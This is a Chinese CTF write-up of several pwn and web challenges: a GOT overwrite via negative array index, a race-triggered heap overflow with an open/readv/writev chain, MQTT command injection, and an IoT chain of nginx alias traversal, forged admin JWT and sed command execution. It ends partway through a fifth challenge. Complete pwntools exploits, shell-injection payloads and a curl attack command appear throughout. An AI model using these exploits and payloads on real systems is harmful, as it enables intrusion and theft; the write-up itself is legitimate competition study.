    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

看一眼main,第一眼就注意到system(“/bin/sh”);那得多看几眼了

把背景认真看了一遍,大概就是这是一个管家,它的主人在这里留了好东西,需要输入密码才能拿到

但是只有一次机会

polaris28

校验逻辑很特别,密码是sub_1209的地址,但是这个程序开了pie,那就是约等于盲猜

输错了接着程序马上说,主人早就想到有人猜不出来,所以留了个后门,还给了两次机会

我们有能力自选下标,然后向 byte_40A0 + 8 * idx 写最多 8 字节,然后把这个位置当成 %s打印出来

polaris29

有个漏洞是检查输入的时候while ( qword_48A0 > 255 )

只检查了大于255,没有考虑负数下标

下标输入的格式串是 %lld,也就是有符号整数

正常0 ~ 255正常写到 .bss数组内部而< 0会往 .bss之前的区域写,也就是可以写到got表区域

数组越界,写入逻辑是&byte_40A0[8 * idx]

基本的思路就是用负下标定位到 puts@got,然后只写 1 个字节,保留 GOT 项其余内容不变,再利用后面的 %s 打印泄漏 puts 真实地址从而算出 libc 基址,在 name 栈缓冲区中布置 fake argv 和 envp,第二次负下标定位到 printf@got,把 printf@got 改成 one_gadget后等程序调用printf就行了

name缓冲区

char v4[136]; // [rbp-0x90]

起始位置就是rbp-0x90

而远程最终使用的 one_gadget 是附件 libc 里的:

polaris30

这个 gadget 的argv 取自 rbp-0x50,envp取自 [rbp-0x70],rbp-0x50本身就可写,把rbp-0x70设为0就行,然后再把rbp-0x40也设为0就满足第二行的条件

而这些位置都落在 v4 这个名字缓冲区内部,所以可以直接伪造

exp

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal=['cmd.exe','/c','start','wsl.exe','bash','-c']
elf = ELF('./pwn-treasure')
libc = ELF('./libc.so.6')
printf_got = elf.got['printf']
puts_got=elf.got['puts']
byte = 0x40a0
printf_got_idx=(printf_got-byte)//8
puts_got_idx=(puts_got-byte)//8
one_gadget = 0xebd43


def leak_puts(io):
    io.sendlineafter(b'password: ', b'0')
    io.sendlineafter(b'Which one?\n', str(puts_got_idx).encode())

    io.send(p8(libc.sym['puts'] & 0xff))

    io.recvuntil(b'after your operation, the context: ')
    puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    io.recvuntil(b'you should tell me your name.\n')
    log.success('puts_addr: ' + hex(puts_addr))
    return puts_addr


def build_name_payload(libc_base):
    payload = flat(
        {
            0x20: 0,
            0x40: 0,
        },
        filler=b'A',
        length=0x50,

    )
    return payload


def pwn():
    #io = process('./pwn-treasure')
    io=remote('nc1.ctfplus.cn', 23838)
    puts_addr = leak_puts(io)
    libc_base = puts_addr - libc.sym['puts']
    log.success('libc_base: ' + hex(libc_base))

    payload = build_name_payload(libc_base)
    #gdb.attach(io)
    io.send(payload + b'\n')


    io.sendlineafter(b'Last time!Lucky, guy!\n', str(printf_got_idx).encode())

    io.send(p64(libc_base + one_gadget))

    io.interactive()

if __name__ == '__main__':
    pwn()   

Throne Hazard

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled

典型的菜单堆题,没有pie

但是开了沙箱

polaris31

不仅禁了mmap,还禁了execve,execveat,后续可能要考虑下ORW

这题虽然被 strip 了,但菜单分发在main里写的非常清楚

英文不好,还是要翻译下

1.校准自我优化目标
2.构建内存胶囊
3.构造执行器
4.调整执行器种子
5.编写广播链路
6.调度执行器
7.查看内存区域
8.退出

它的世界观大概是在用一个叫 Astra-9 的控制台,这边有一个 operator thread,在努力把机器人的 “supremacy” 压低,机器人这边有一个 self-optimizer,想把同一个值抢回来。两边在同一个状态上拉扯,会出现竞争

程序一开始就能看到新线程创建

polaris32

这个新线程start_routine先留个眼子

看下菜单1

polaris33

这里就是让用户设置一个appeal_target,在0x20到0x78之间

之后我们再去看看后台线程start_routine

polaris34

这里就是在status=1的时候把baseline设为了菜单1里的appeal_target,过了一个usleep时段后又设为32,status置为0

菜单 2 Forge memory capsule,如果 capsule(就是这个内存胶囊堆块) 还没分配,那就会 calloc(1, 0x30)

polaris35

先读 1 字节进 capsule,再按一个全局长度继续读剩下的数据

正常情况下,这个全局长度是 0x20,所以第二段读 0x20 + 0xf = 0x2f

总长度就是1 + 0x2f = 0x30,刚好塞满那个 0x30 的 chunk

但后台线程start_routine会在一个时间窗口里,把这个全局长度从 0x20 临时改成菜单 1 设的 target,菜单 1 允许把 target 设到最大 0x78

所以 race 打中时,第二段读取会变成0x78 + 0xf = 0x87

这时总写入长度就变成1 + 0x87 = 0x88,但 capsule chunk 还是只有 0x30,于是直接往后多写了 0x58 字节

简单说就是race 触发的堆溢出

那么要想达到这个效果,就得让程序先读 1 字节,在看到 forge primer (1 byte)> 之后第二次read刚好撞进这个时间窗口

然后看菜单 3构造执行器:build actuator,它会 malloc(0x48)创建一个 actuator,并初始化若干字段

polaris36

这个actuator构造好了,那么顺着我们就看下执行这个actuator的函数

就是菜单 6调度执行器:dispatch actuator

polaris37

它实际上是一个通过 actuator 字段驱动的三参函数调用器

结合前面的菜单3,actuator 结构大概是:

偏移内容
0x00's'字符串 “sentinel-9”
0x01'e'
0x02'n'
0x03't'
0x04'i'
0x050x01硬编码的 1
0x06'n'
0x07'e'
0x08'l'
0x09'-'
0x0A'9'
0x0's'字符串 “status-green”
0x0C't'
0x0D'a'
0x0E't'
0x0F'u'
0x10's'菜单 6 取 lane 的位置
0x11'-'
0x12'g'
0x13'r'
0x14'e'
0x15'e'
0x16'n'
0x170x00填充
0x180x000000000000000C菜单 6 取 arg2 的位置
0x20actuator + 0x0A菜单 6 取 arg1 的位置
0x280未初始化
0x300未初始化
0x380未初始化
0x400未初始化
0x48END

注意到菜单6取line的位置是字符串’s’,往后取四字节,小端序组合lane = 0x72672D73,这个值远远大于3

这会导致菜单6走不到执行分支

然后看 0x4040e0 这张 dispatch table

polaris38

这张表默认有 4 个 lane:

  • lane 0:write(1, ptr, len),这就是任意读
  • lane 1:read(0, ptr, len),这就是任意写
  • lane 2:digest,没啥大用
  • lane 3:一个 scrub 函数,原本是清内存

要想让菜单6执行就得利用菜单2的漏洞溢出覆盖为我们需要的line值

利用链就是先把 actuator 改成 lane 0,读 read@got,算 libc base

有个细节要注意下就是要先菜单 2再菜单3 ,这样才能把actuator这个chunk放在capsule后面,利用capsule的溢出来打

还有个问题,就是如果把lane3改成open,打开文件的fd=3,但是如果要用read和write的话得修改3个参数,fd,buf和len,lane0和lane1的fd又是写死的用不了

这个菜单6 dispatch只有arg1和arg2可控,限制func(arg1, arg2);

但也不是无路可走,可以考虑下iov,用readv和writev

polaris39

如果我们调用lane3,那么rdx的值就是3,lane3改成open的话,rdi = path_addr,rsi=0,rdx=3,可以正常用,lane3改成readv的话,实际调用就是readv(rdi,rsi,3),也就是iovcnt是3,3个数组那是肯定够用的,接下来我们只要把rdi改成fd=3,rsi指向iov地址,里面提前布置好操作地址和长度就行,两个参数就能用,writev同理,两个用同一个iov数组就行

可以用任意写提前在栈上布置好struct iovec ,在 amd64 上就是 16 字节

struct iovec {
    void  *iov_base; //8字节
    size_t iov_len;  //8字节
};

程序开了pie,所以直接挑一段不会撞到关键全局变量的可写区就行

最后就是把 0x4040f8 这个表项改掉,也就是 lane 3 的函数指针,把 lane 3 依次改成 open、readv、writev操作flag就行

polaris40

rsi存的就是iov数组的地址

polaris41

远程的话可能要微调延长下等待时间才够稳定

exp

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe', 'sh', '-c']

lane0 = 0x4040e0
lane3 = 0x4040f8
iov_addr= 0x404150
buf_addr= 0x404180
#候选等待时间
WAITS = [0.166, 0.170, 0.174, 0.178, 0.182, 0.186, 0.190, 0.196, 0.204, 0.220, 0.240, 0.260, 0.300]

def prep(io):
    io.sendlineafter(b'>', str(2).encode())
    io.sendafter(b'forge primer (1 byte)> ', b'B' * 0x30)
    io.recvuntil(b'forge committed\n')

    io.sendlineafter(b'>', str(3).encode())
    io.recvuntil(b'actuator ready\n')

    io.sendlineafter(b'>', str(1).encode())
    io.sendlineafter(b'appeal target (0x20-0x78)> ', b'0x78')
    io.recvuntil(b'supremacy.\n')


def build_payload(lane, length, data_ptr, inline=b''):
    pay = bytearray(b'A' * 0x88)
    pay[:8] = b'sentinel'
    pay[0x30:0x38] = p64(0)
    pay[0x38:0x40] = p64(0x51)
    pay[0x50:0x54] = p32(lane)
    pay[0x58:0x60] = p64(length)
    pay[0x60:0x68] = p64(data_ptr)
    pay[0x68:0x88] = inline[:0x20].ljust(0x20, b'\x00')
    return bytes(pay)


def race_once(io, lane, length, data_ptr, wait, inline=b''):
    io.sendlineafter(b'>', str(2).encode())
    state = io.recvuntil((b'forge primer (1 byte)> ', b'wait for the floor cycle\n'))
    if b'wait for the floor cycle\n' in state:
        io.recvuntil(b'> ')
        return 0
    sleep(wait)

    pay = build_payload(lane, length, data_ptr, inline)

    io.send(pay[:1])
    io.send(pay[1:])
    io.recvuntil(b'forge committed\n')

    io.sendlineafter(b'>', str(7).encode())
    blob = io.recvuntil(b'> ')
    io.unrecv(b'> ')

    if b'lane=%d ' % lane in blob and (b'len=0x%x' % length in blob or b'len=%d' % length in blob):
        log.success('race hit -> lane=%d len=%#x wait=%.3f' % (lane, length, wait))
        return wait

    return 0


def arm(io, lane, length, data_ptr, inline=b'', waits=None, rounds=1):
    if waits is None:
        waits = WAITS

    for _ in range(rounds):
        for wait in waits:
            hit = race_once(io, lane, length, data_ptr, wait, inline)
            if hit:
                return hit

    raise EOFError('race miss')


def retune(wait):
    waits = [
        max(0.0, wait - 0.006),
        max(0.0, wait - 0.002),
        wait,
        wait + 0.004,
        wait + 0.010,
    ]
    return waits, 8 if args.REMOTE else 20


def aar_read(io, waits, rounds):
    hit = arm(io, 0, 8, elf.got['read'], waits=waits, rounds=rounds)
    io.sendlineafter(b'>', str(6).encode())
    io.recvuntil(b'[dispatch lane 0]\n')
    # leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    leak = u64(io.recvn(8))
    io.recvuntil(b'[dispatch complete]\n')
    return leak, hit


def aaw(io, addr, data, waits, rounds):
    hit = arm(io, 1, len(data), addr, waits=waits, rounds=rounds)
    io.sendlineafter(b'>', str(6).encode())
    io.recvuntil(b'[dispatch lane 1]\n')
    io.send(data)
    io.recvuntil(b'[dispatch complete]\n')
    return hit


def call_lane(io, lane, data_ptr, length, waits, rounds, inline=b''):
    hit = arm(io, lane, length, data_ptr, inline=inline, waits=waits, rounds=rounds)
    io.sendlineafter(b'>', str(6).encode())
    return hit


def one(path):
    #io = process('./pwn')
    io= remote('nc1.ctfplus.cn', 44988)
    try:
        prep(io)
        waits = WAITS
        rounds = 24 if args.REMOTE else 80

        read_addr, hit = aar_read(io, waits, rounds)
        libc_addr = read_addr - libc.sym['read']
        log.success('read@libc = %#x' % read_addr)
        log.success('libc base  = %#x' % libc_addr)
        waits, rounds = retune(hit)

        blob = flat(
            buf_addr, 0x80,
        ).ljust(0x30, b'\x00') + path[:0x20].ljust(0x20, b'\x00')
        hit = aaw(io, iov_addr, blob, waits, rounds)
        waits, rounds = retune(hit)

        hit = aaw(io, lane0, p64(libc_addr + libc.sym['openat']), waits, rounds)
        waits, rounds = retune(hit)
        hit = call_lane(io, 0, 0xffffffffffffff9c, buf_addr, waits, rounds)
        waits, rounds = retune(hit)
        io.recvuntil(b'[dispatch complete]\n')

        hit = aaw(io, lane3, p64(libc_addr + libc.sym['readv']), waits, rounds)
        waits, rounds = retune(hit)
        
        #gdb.attach(io)
        hit = call_lane(io, 3, 3, iov_addr, waits, rounds)
        waits, rounds = retune(hit)
        io.recvuntil(b'[dispatch complete]\n')

        hit = aaw(io, lane3, p64(libc_addr + libc.sym['writev']), waits, rounds)
        waits, rounds = retune(hit)
        call_lane(io, 3, 1, iov_addr, waits, rounds)

        sleep(0.2)
        return io.recvrepeat(1.5)
    finally:
        io.close()


def main():
    path = (args.PATH or '/flag').encode()
    if not path.endswith(b'\x00'):
        path += b'\x00'

    if len(path) > 0x20:
        raise ValueError('flag path too long')

    attempts = int(args.ATTEMPTS or 100)

    for i in range(attempts):
        log.info('attempt %d' % (i + 1))
        try:
            data = one(path)
        except Exception as e:
            log.warning('attempt %d failed: %s' % (i + 1, e))
            continue

        if data.strip():
            print(data.decode('latin-1', 'replace'))
            if args.PATH or b'flag{' in data.lower() or b'ctf{' in data.lower() or b'polaris' in data.lower():
                return

    raise SystemExit('no flag hit')


if __name__ == '__main__':
    main()

mini-mqtt

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'$ORIGIN'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

这是个 MQTT 客户端程序,这个协议第一次听说

直接给ai看看,main是阅读入口,主要逻辑是连接到 MQTT broker,默认地址是 tcp://localhost:9999

client id 是 httpclient,订阅主题 HTTP,每隔 1 秒调用一次 msgsend(“200”)

它会不断往 HTTP 主题发:

{"clientid":"httpclient", "message":"200"}
polaris42

这个点非常重要,看见 200心跳,说明目标客户端在线,看不见心跳,说明 broker 可能还活着,但真正执行逻辑的 httpclient 没挂上来

一开始打远程时总是打坏,我还以为是远端的问题,开了好几个靶机,后来发现问题在于没有等心跳就发payload了,客户端也一直没有挂上来

msgarrvd是 MQTT 的消息回调

它大致逻辑是:如果消息长得像 JSON,并且 clientid == “httpclient”,就直接忽略,否则把消息正文丢给 http()

polaris43

这里的意义是,程序自己通过 msgsend()发出来的 JSON 心跳或者结果消息不会再次进入解析逻辑

只有我们主动发到 HTTP主题上的原始文本消息,才会被当成 HTTP 请求处理

所以利用方式不是打传统 socket HTTP,而是连接 MQTT broker,往主题 HTTP发布一段看起来像 HTTP 请求的字符串

msgsend负责把结果包装成 JSON,再发回 HTTP主题

格式大概是:

{"clientid":"httpclient", "message":"<内容>"}

所以一旦 http()里执行了命令、读到了某行输出,我们最终在 MQTT 侧看到的不是裸字符串,而是:

{"clientid":"httpclient", "message":"<内容>"}

通道不管是输入输出都在这个http主题里

大致逻辑是

             MQTT Broker           
       (tcp://localhost:9999)      目标程序(客户端)
                   ↓                     ↓
连接Broker ------> 接收连接 <------    主动连接Broker
发消息 ------> 转发主题 HTTP 的消息 ----> 触发 msgarrv
                                          ↓
                                ------- 执行 http(v9)

接下来重点看下http()这个自定义函数的逻辑

polaris44

http()会把 MQTT 消息当作 HTTP 请求文本处理,并尝试从 GET 路径里取出“文件名”

从字符串可以看到它支持的格式类似:

GET /home/ctf/%63[^ "
GET %*[^/]/ctf/%63[^ "
GET %*s/ctf/"%63[^"]"

本质上就是:从 /ctf/后面抠一个文件名出来。

拿到文件名后,它会做:

snprintf(local_cmd, 0x80, "cat /home/ctf/%s", filename);
memcpy(cmd, local_cmd, strlen(local_cmd));

然后在满足条件时执行:

popen(cmd, "r");

这说明最终执行的是 shell 命令,文件名如果能混进 shell 元字符,就有命令注入的可能

程序不是完全没过滤,它做了两层限制:逐字节把 /和 .替换成 _,只允许真正读取 index_html

从逻辑上看,它本来想做的是:只允许访问 /home/ctf/index_html,不允许路径穿越

但是它漏了两个关键问题

第一个漏洞在于过滤了 / 和 . 却没有过滤 ;

程序只把 /和 .改成 _,但是像下面这些字符都还活着:

  • ;
  • $
  • {
  • }
  • *
  • |

所以我们完全可以把文件名写成:

index_html;cat${IFS}flag*

拼接后就会变成:

cat /home/ctf/index_html;cat${IFS}flag*

不能出现空格,因为文件名的 sscanf在空格处截断

/ 会被改成 _,所以不能直接写 /flag

因此 payload 要稍微做一下 shell 级绕过:

  • 用 ${IFS} 代替空格
  • 优先尝试相对路径 flag*
  • 要造 /,可以用 ${PWD:0:1} 或 ${PATH:0:1}

还有一个漏洞是memcpy(strlen) 没有拷贝结尾 \0

polaris45

strlen 计算长度 = 不包含 \0

memcpy 只拷贝 strlen 长度 = 不拷贝 \0

目标缓冲区 cmd 没有字符串结束符

程序把构造好的命令写到全局变量 cmd 时,用的是:

memcpy(cmd, local_cmd, strlen(local_cmd));
polaris46

这个popen函数处理字符串的时候就是靠找\0来判断字符串在哪里结束

这意味着如果先写入一个长字符串,再用一个更短的字符串覆盖前缀

那么旧字符串尾巴会残留下来

程序还有一道逻辑门,只有文件名严格等于 index_html且 ContentLength <= 10且长度检查通过

它才会真的 popen(cmd, "r")

这就导致单次直接打:

GET /home/ctf/index_html;cat${IFS}flag* HTTP/1.1

虽然能把恶意命令写进 cmd,但文件名已经不是 index_html 了,会被拒掉

这时第二个漏洞就派上用场了:我们不要求第一阶段直接执行,只要求它把恶意后缀种进全局 cmd

发送:

GET /home/ctf/index_html;cat${IFS}flag*||cat${IFS}${PWD:0:1}flag* HTTP/1.1
Host: x

这一步的结果程序从路径里取出整个恶意文件名,生成长命令并写入全局 cmd,因为文件名不等于 index_html,这次不会正常执行

但我们的目的已经达到了恶意后缀进 cmd

再发送:

GET /home/ctf/index_html HTTP/1.1
Host: x
ContentLength: 10

文件名是合法的 index_htmlContentLength: 10 正好满足检查,memcpy的时候新命令更短,只覆盖了前缀,没有写入 \0

前一阶段的恶意后缀还留在 cmd 后面,popen(cmd, "r") 最终执行了拼好的恶意命令

这就是完整的利用链

exp

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context.binary = elf

host = 'nc1.ctfplus.cn'
port = 21537
local_host = '127.0.0.1'
local_port = 9999
topic = ('HTTP').encode()
cmd = ('cat${IFS}flag*||cat${IFS}${PATH:0:1}flag*').encode()
observe = float(3)
wait_heart = float(0)
window = float(8)
force = args.FORCE
client_id = (('exp_' + randoms(6))).encode()
gs = 'b *main\nc'



def tick_count(seconds, step=0.2):
    total = int(seconds / step)
    if seconds > total * step:
        total += 1
    return total


def mqtt_len(value):
    data = b''
    while 1:
        cur = value & 0x7f
        value >>= 7
        if value:
            cur |= 0x80
        data += p8(cur)
        if not value:
            return data


def mqtt_str(data):
    if isinstance(data, str):
        data = data.encode()
    return p16(len(data), endian='big') + data


def xrecv(size, timeout=1):
    if not size:
        return b''
    data = io.recvn(size, timeout=timeout)
    if len(data) != size:
        raise EOFError('short read')
    return data


def recv_packet(timeout=0.2):
    if not io.can_recv(timeout):
        raise EOFError('timeout')

    header = xrecv(1)[0]
    remain = 0
    shift = 0

    while 1:
        cur = xrecv(1)[0]
        remain |= (cur & 0x7f) << shift
        if not (cur & 0x80):
            break
        shift += 7

    return header, xrecv(remain)


def parse_publish(header, body):
    pos = 0
    topic_len = u16(body[pos:pos + 2], endian='big')
    pos += 2
    topic = body[pos:pos + topic_len]
    pos += topic_len
    packet_id = None

    if (header >> 1) & 3:
        packet_id = u16(body[pos:pos + 2], endian='big')
        pos += 2

    return topic, packet_id, body[pos:]


def http_message(payload):
    if not payload.startswith(b'{"clientid":"httpclient"'):
        return None
    if b'"message":' not in payload:
        return None
    tail = payload.split(b'"message":', 1)[1].lstrip()
    if not tail.startswith(b'"'):
        return None
    return tail[1:].split(b'"', 1)[0]


def mqtt_connect():
    global io
    for name, level, label in (
        (b'MQTT', 4, 'MQTT 3.1.1'),
        (b'MQIsdp', 3, 'MQTT 3.1'),
    ):
        #io = remote(host, port)
        io=remote(local_host, local_port)
        body = mqtt_str(name) + p8(level) + b'\x02' + p16(0x3c, endian='big') + mqtt_str(client_id)
        io.send(b'\x10' + mqtt_len(len(body)) + body)

        try:
            header, resp = recv_packet(1)
        except EOFError:
            io.close()
            continue

        if header == 0x20 and resp == b'\x00\x00':
            log.success('connected to %s:%d via %s' % (local_host, local_port, label))
            return

        io.close()

    raise SystemExit('connect failed')


def subscribe(topic, packet_id=1):
    body = p16(packet_id, endian='big') + mqtt_str(topic) + b'\x00'
    io.send(b'\x82' + mqtt_len(len(body)) + body)
    header, resp = recv_packet(1)
    if header != 0x90:
        raise SystemExit('bad suback: %#x %r' % (header, resp))


def publish(topic, data):
    if isinstance(data, str):
        data = data.encode()
    body = mqtt_str(topic) + data
    io.send(b'\x30' + mqtt_len(len(body)) + body)


def poison(cmd):
    return b'GET /home/ctf/index_html;' + cmd + b' HTTP/1.1\r\nHost: x\r\n'


def trigger():
    return b'GET /home/ctf/index_html HTTP/1.1\r\nHost: x\r\nContentLength: 10\r\n'


def drain(seconds, stop_on_heartbeat=False, ignore=()):
    seen_heartbeat = False

    for _ in range(tick_count(seconds)):
        try:
            header, body = recv_packet(0.2)
        except EOFError:
            continue

        if header >> 4 != 3:
            continue

        cur_topic, _, payload = parse_publish(header, body)
        if cur_topic != topic or payload in ignore:
            continue

        msg = http_message(payload)
        if msg is None:
            try:
                log.info(payload.decode())
            except Exception:
                log.info(repr(payload))
            continue

        if msg == b'200':
            seen_heartbeat = True
            log.info('heartbeat => %s' % msg.decode())
            if stop_on_heartbeat:
                break
            continue

        try:
            log.success('httpclient => %s' % msg.decode())
        except Exception:
            log.success('httpclient => %r' % msg)

    return seen_heartbeat


def exp():
    stage1 = poison(cmd)
    stage2 = trigger()

    mqtt_connect()
    subscribe(topic)
    log.info('topic => %s' % topic.decode())
    log.info('cmd   => %s' % cmd.decode())

    seen_heartbeat = False
    if wait_heart > 0:
        seen_heartbeat = drain(wait_heart, stop_on_heartbeat=True)
    else:
        seen_heartbeat = drain(observe)

    if not seen_heartbeat:
        if not force:
            raise SystemExit('no httpclient heartbeat observed')
        log.warning('no httpclient heartbeat observed, force sending payloads')

    publish(topic, stage1)
    log.info('stage1 sent')
    sleep(0.4)
    publish(topic, stage2)
    log.info('stage2 sent')

    drain(window, ignore=(stage1, stage2))

if __name__ == '__main__':
    exp()

ct

题目的出题人是大佬师傅z1r0

描述是一道IOT世界的入门经典

先打开靶机看看

polaris47

看上去是一个智能iot设备管理平台,可以看到相机,传感器,智能门锁等设备信息

然后看下题目给的Nginx 配置文件 default.conf

因为它提供了后端侧材料,里面可能直接泄露路由、后端服务端口、鉴权方式、配置文件路径

/static这段

location /static {
    alias /var/www/static/;
}

这段是第一个漏洞点

location /static 没有以 / 结尾,但 alias /var/www/static/ 以 / 结尾,这是一个非常经典的web漏洞 Nginx alias traversal 配置错误,就是Nginx目录穿越

它会导致:/static../app/config.yaml

这种路径在拼接后逃出 /var/www/static/,实际读到其他目录中的文件

也就是说,本来只想开放静态目录,实际上却能读到 /var/www/app/下面的文件

/api/config/这段

# Backend: config-service (:3002), JWT: /var/www/app/config.yaml
location /api/config/ {
    proxy_pass http://127.0.0.1:3002;
}

这段给了两个特别关键的信息:配置服务在 127.0.0.1:3002,JWT 配置文件路径就是 /var/www/app/config.yaml

这等于直接把敏感文件目标告诉我们了

/admin/config/这段

# allow 10.10.0.0/24;
# allow 127.0.0.1;
# deny all;
# [2024-12-20] Ops temporarily disabled IP restriction for network debugging
location /admin/config/ {
    proxy_pass http://127.0.0.1:3002/api/config/;
}

这里说明原本应该有 IP 白名单限制,但被临时注释掉了,也就是说,只要我们能伪造出合法 JWT,就能从外部直接访问配置管理接口

根据上面的 alias traversal,直接访问:

/static../app/config.yaml

远程实际返回了:

jwt_secret: "iot-guardian-s3cret-key-2024"
data_dir: "/data/devices"
backup_dir: "/data/backups"

这里最重要的是jwt密钥:

jwt_secret: iot-guardian-s3cret-key-2024

伪造管理员 JWT,既然配置里给了 jwt_secret,那就直接按 HS256 伪造 token

我使用的 payload 很简单:

{"user":"admin","role":"admin"}

Python 生成方式如下:

import jwt

secret = "iot-guardian-s3cret-key-2024"
token = jwt.encode({"user": "admin", "role": "admin"}, secret, algorithm="HS256")
print(token)

运行得伪造的jwt token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ._gZdNdThAGY5_VxtEedhpiZeD0kpC_LxYnOfzQmuAAU

带上:

Authorization: Bearer <token>

返回了json配置,说明已经成功验证了管理员权限可以获得

polaris48

之后,下面这些接口都能访问:

GET /api/config/list
GET /api/config/view?device_id=cam-01
GET /api/logs?level=ERROR

这一步证明了链路成立,文件读取不只是信息泄露,而是能直接转成后台管理权限

接着分析 /api/config/update,因为list和 view 基本是只读

logs也是查询类接口

update是唯一明显会修改配置内容的接口,最容易出现命令拼接,模板拼接,文本处理器拼接问题

题目没有给 config-service 源码,所以这里只能走黑盒推理

这是更新前

polaris49

发送:

{
  "device_id": "cam-01",
  "old_value": "DefaultSSID",
  "new_value": "X"
}
polaris50

返回结果里,原来的这一行:

ssid = DefaultSSID

变成了:

X

这说明它不是把值改成 X,而是把整一行替换成了 X

这已经很像文本处理命令,例如:

sed '/pattern/c replacement' file

或者:

sed 's#^.*pattern.*$#replacement#' file

再测 old_value

继续测试后发现:old_value=’.’可以命中所有非空行,old_value 不能带大多数正则字符

服务端会提示 invalid old_value: must be alphanumeric

这说明后端对 old_value 有过滤,但过滤并不严,至少 .`还能通过

再测 new_value

new_value 的现象很关键:

1. `X#` 会成功,结果只剩 `X`
2. `X #` 会成功,结果变成 `X `
3. `X"#` 会成功,结果变成 `X"`
4. `X'#` 会成功,结果变成 `X'`
5. `X#Y` 会直接 500

这个行为非常像 #被当成了 sed替换表达式的分隔符

也就是说,后端极可能在做这种拼接:

sed 's#^.*DefaultSSID.*$#<new_value>#' /data/devices/cam-01.conf

如果 new_value里再出现一个 #,就能提前闭合替换串。

于是:

X#Y

会被解释成:

s#pattern#X#Y

后面的 Y 会被当成非法 flag,所以返回 500

/api/config/update 的真实漏洞是用户可控的 new_value 被直接拼进了 sed 替换表达式,而且没有正确转义分隔符和 flag

GNU sed 有一个非常危险的特性:

s/regexp/replacement/e

末尾的 e flag 会把替换结果当成 shell 命令执行。

如果这里的分隔符是 #,那么 payload 就可以写成:

cat /flag#e

它会把整条表达式变成:

s#^.*DefaultSSID.*$#cat /flag#e

意思就是:找到匹配 DefaultSSID 的那一整行,用字符串 cat /flag 作为替换结果

再加上 e flag,sed 把 cat /flag 当 shell 命令执行

命令输出再作为最终替换内容写回返回结果

这就是标准的命令执行

真正的利用链更偏 Web 配置漏洞 + 命令执行

curl -i -m 12 -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  --data '{"device_id":"cam-01","old_value":"DefaultSSID","new_value":"cat /flag#e"}' \
  "$HOST/api/config/update"
polaris51

mw

这题是出题人换了镜像才打出来的

旧的 pwn-mw-user 镜像,我卡在纯题内远端收尾这一步

前面我其实都已经打通了,account 的换行注入能稳定进 mw_plugind

能注入任意环境变量,LD_PRELOAD + libmemusage/libpcprofile 这类 loader 副作用能稳定拿到文件写原语

远端也确认过能往指定路径写文件,甚至能在 web 根落地探针文件

真正卡住的是最后这一下还缺一个精确文本写

memusage 能精确写路径,但内容是二进制 blob

pcprofile 能写,但只是一小段坏头,不是干净文本

LD_DEBUG / sotruss 这种能写文本,但文件名会自动带 .pid

我一直没在题目自带环境里找到一个既能精确指定文件名,又能写我想要的纯文本内容的现成 writer

比较有意思的是我发现出题人似乎在题目里藏了一些提示,旧镜像解出来的文件系统里找 /root/flag.txt发现MW{CVE_2024_10441_env_1nj3ct10n_v1a_pl0g1n_sdk}

后面改了镜像以后,新镜像不是老题那种静态 /root/flag.txt 了,而是启动脚本把环境变量 FLAG 动态写到 /flag.txt

路由里多了 MW.API.Network.Ping,同时还有 mwtoken.so 这套 token 逻辑

它强烈暗示题眼就是 CVE-2024-10441 这类 plugin SDK 环境变量注入

让我更确信旧image里看到的 account 换行注入不是巧合,而是作者明确想让走这条链

后来也是找了公开资料让ai去学习参考:https://assets.contentstack.io/v3/assets/blte4f029e766e6b253/bltad0709de42b54e82/689604359f008cdd02f69917/disguise-delimit-whitepaper.pdfhttps://nvd.nist.gov/vuln/detail/CVE-2024-10441,让它结合题目更新后的镜像结构自己重推出后面的利用链

来看题目,先连上靶机看看

polaris52

一个管理系统的登录界面,大概率也是web+pwn的结合

题目给的是一个oci镜像文件,需要先解压拿到完整的文件树看看

img='/mnt/c/Users/WYH/Desktop/polarisctf招新赛/pwn/pwn-image-mw--revenge'
out='/mnt/c/Users/WYH/Desktop/polarisctf招新赛/pwn/pwn-image-mw--revenge-rootfs'

rm -rf "$out"
mkdir -p "$out"

grep -o 'blobs/sha256/[0-9a-f]*' "$img/manifest.json" | tail -n +2 | while read -r layer; do
    tar -xf "$img/$layer" -C "$out"
done

echo "unpacked to: $out"

拿到文件树后,先看服务是怎么跑起来的

start.sh

#!/bin/bash
set -e

if [ -z "$FLAG" ]; then
    echo "[ERROR] FLAG environment variable is not set!"
    exit 1
fi

echo -n "$FLAG" > /flag.txt
chmod 600 /flag.txt
exec /usr/bin/supervisord -n

flag 不是镜像里写死的,而是容器启动时动态写到 /flag.txt

注意到这句exec /usr/bin/supervisord -n,说明这是一个supervisor 服务主程序

看下supervisor配置

etc/supervisor/conf.d/mw.conf:

[supervisord]
nodaemon=true
logfile=/var/log/supervisord.log
pidfile=/var/run/supervisord.pid

[program:mw_plugind]
command=/usr/mw/bin/mw_plugind
autostart=true
autorestart=true
stdout_logfile=/var/log/mw_plugind.log
stderr_logfile=/var/log/mw_plugind_err.log
priority=10

[program:mwcgi]
command=/usr/mw/bin/mwcgi
autostart=true
autorestart=true
stdout_logfile=/var/log/mwcgi.log
stderr_logfile=/var/log/mwcgi_err.log
priority=20

[program:nginx]
command=/usr/sbin/nginx -g "daemon off;"
autostart=true
autorestart=true
stdout_logfile=/var/log/nginx/stdout.log
stderr_logfile=/var/log/nginx/stderr.log
priority=30

[program:cron]
command=/usr/local/bin/start-crond.sh
autostart=true
autorestart=true
startsecs=3
startretries=10
stdout_logfile=/var/log/crond.log
